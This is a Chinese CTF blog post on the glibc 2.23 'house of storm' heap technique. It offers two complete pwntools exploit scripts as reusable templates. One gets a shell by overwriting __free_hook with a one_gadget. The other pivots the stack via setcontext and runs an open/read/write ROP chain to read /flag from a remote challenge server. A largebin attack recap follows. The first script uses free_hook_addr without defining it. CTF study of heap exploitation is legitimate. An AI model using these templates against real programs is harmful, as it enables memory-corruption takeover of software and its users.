eeeeeeeeeeeeeeeea

愿我们永远热泪盈眶!

0%

house of storm

一:house of storm

好久不做largebin有关的题了,稍微有点生疏,在此总结一下其用法与适用环境。

首先题目给的是libc2.23的环境,只有off-by-null的洞,没有UAF,有add,edit,free,show四个功能,并且add里用的是calloc函数。

思路

首先由null来构造堆重叠,然后放入unsortedbin和largebin,放入largebin的chunk的大小要小于在unsortedbin的chunk。将要申请回来的地址放入unsortedbin的bk上,控制largebin的bk_nextsize,将bk设为一个可写地址就可以,目的是解链时向bk_nextsize->fd_nextsize写入一个堆地址,以此来伪造size,就可以达到任意地址分配的目的啦。

这其实可以当做一个模板来做了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
libc = ELF("./libc-2.23.so")
p = process("house_of_storm")
context.log_level = "debug"
context.arch = "amd64"


def g():
gdb.attach(p)
input()

def choice(menu):
p.sendlineafter("Choices: ",str(menu))

def add(size):
choice(1)
p.sendlineafter("size: ",str(size))

def edit(index,content):
choice(2)
p.sendlineafter("idx: ",str(index))
p.sendafter("Leave message:",content)

def free(index):
choice(3)
p.sendlineafter("idx: ",str(index))

def show(index):
choice(4)
p.sendlineafter("idx: ",str(index))


add(0xF0) #0
add(0x38) #1
add(0x3F0) #2 large bin chunk
add(0x10) #3
add(0xF0) #4
add(0x48) #5
add(0x3F0) #6 large bin chunk
add(0x100) #7

free(0)
edit(1,'a'*0x30 + p64(0x40 + 0x100))
free(2)
add(0xF0) #0
show(1)

libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - libc.sym["__malloc_hook"] - 88 - 0x10
success("libc_base:"+hex(libc_base)) #构造堆重叠进行泄露。

add(0x430) #2 将2与1重合

free(4)
edit(5,'b'*0x40 + p64(0x50 + 0x100))
free(6)
add(0xF0) #4
add(0x440) #6 将5与6重合

free(2)
add(0x500) #2
free(6)

og = [0x45226,0x4527a,0xf0364,0xf1207]

fake_chunk = free_hook_addr - 0x10
edit(5,p64(0) + p64(fake_chunk)) #改unsortedbin中的chunk的bk为要申请到的地址
payload = p64(0) + p64(fake_chunk + 0x8) #改largebin的chunk的bk为一个任意可写的地址就行
payload += p64(0) + p64(fake_chunk - 0x18 - 0x5) #改largebin的chunk的bk_nextsize为伪造的size位
edit(1,payload)

add(0x48) #6
edit(6,p64(libc_base+og[1]))

choice(3)
p.sendlineafter("idx: ",str(1))

p.interactive()

第二个模板是ha1vk师傅写的用orw来getshell的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *

context(os='linux',arch='amd64')
sh = remote('node3.buuoj.cn',28529)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
setcontext_s = libc.sym['setcontext']
open_s = libc.sym['open']
read_s = libc.sym['read']
write_s = libc.sym['write']


def add(size):
sh.sendlineafter('Choice:','1')
sh.sendlineafter('Size:',str(size))

def edit(index,content):
sh.sendlineafter('Choice:','2')
sh.sendlineafter('Index:',str(index))
sh.sendafter('Content:',content)

def delete(index):
sh.sendlineafter('Choice:','3')
sh.sendlineafter('Index:',str(index))

def show(index):
sh.sendlineafter('Choice:','4')
sh.sendlineafter('Index:',str(index))

add(0xF0) #0
add(0x38) #1
add(0x3F0) #2 large bin chunk
add(0x10) #3
add(0xF0) #4
add(0x48) #5
add(0x3F0) #6 large bin chunk
add(0x100) #7

delete(0)
#null off by one
edit(1,'a'*0x30 + p64(0x40 + 0x100))
delete(2)
add(0xF0) #0
show(1)
sh.recv(1)
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
setcontext_addr = libc_base + setcontext_s
write_addr = libc_base + write_s
open_addr = libc_base + open_s
read_addr = libc_base + read_s
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'setcontext_addr=',hex(setcontext_addr)
#将剩余部分申请,现在2与1重合
add(0x430) #2

#继续用同样的方法,构造一个未归位的large bin,并且比前一个大一些,但是要保证处于同一个index内
delete(4)
edit(5,'b'*0x40 + p64(0x50 + 0x100))
delete(6)
add(0xF0) #4
#将剩余部分申请,5与6重合
add(0x440) #6
#2放入unsorted bin
delete(2)
#2放入large bin
add(0x500) #2
#6放入unsorted bin
delete(6)
#现在,堆布局是unsorted bin里一个未归位的large bin,large bin里有一个chunk,且unsorted bin里的比large bin里的大
#将free_hook_addr链接到unsorted bin chunk的bk
fake_chunk = free_hook_addr - 0x10
edit(5,p64(0) + p64(fake_chunk))
#控制large bin的bk_nextsize,目的是解链时向bk_nextsize->fd_nextsize写入一个堆地址,我们可以以此来伪造size
payload = p64(0) + p64(fake_chunk + 0x8) #bk,只需保证是一个可写的地址即可
payload += p64(0) + p64(fake_chunk - 0x18 - 0x5)
edit(1,payload)
##触发house of storm,申请到free_hook处
add(0x48) #6
#写free_hook,栈迁移到堆里
'''mov rsp, [rdi+0A0h]
...'''
rop = p64(0) + p64(pop_rsi) + p64(free_hook_addr + 0x40) + p64(pop_rdx) + p64(0x200) + p64(read_addr)
payload = p64(setcontext_addr + 0x35) + '\x00'*0x8
payload += rop
edit(6,payload)
#设置0xA0偏移处的值
edit(7,'a'*0xA0 + p64(free_hook_addr + 0x10) + p64(pop_rdi))
#栈迁移到free_hook_addr + 0x10,执行read,继续输入后续rop
delete(7)
flag_addr = free_hook_addr + 0x40 + 0x98
rop2 = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
rop2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
rop2 += '/flag\x00'

sleep(1)
sh.send(rop2)

sh.interactive()

largebin attack回顾

victim就是unsorted bin chunk,也就在unsorted bin里未归位的large bin chunk。而fwd就是large bin的chunk。控制了large bin里的这个chunk的bk_nextsize为addr1,那么victim->bk_nextsize->fd_nextsize = victim; //第一次任意地址写入unsorted bin chunk的地址 也就是addr1->fd_nextsize = victim,也就是*(addr1+0x20) = victim,这就是第一次任意地址写一个堆地址;接下来,假如,我们还能控制large bin里那个chunk的bk为addr2,那么首先bck = fwd->bk; 使得bck = addr2,接下来bck->fd = victim; //第二次任意地址写入unsorted bin chunk的地址 也就是addr2->fd = victim,也就是*(addr2+0x10) = victim。这样利用large bin attack,我们可以有两次往任意地址写入堆地址的机会。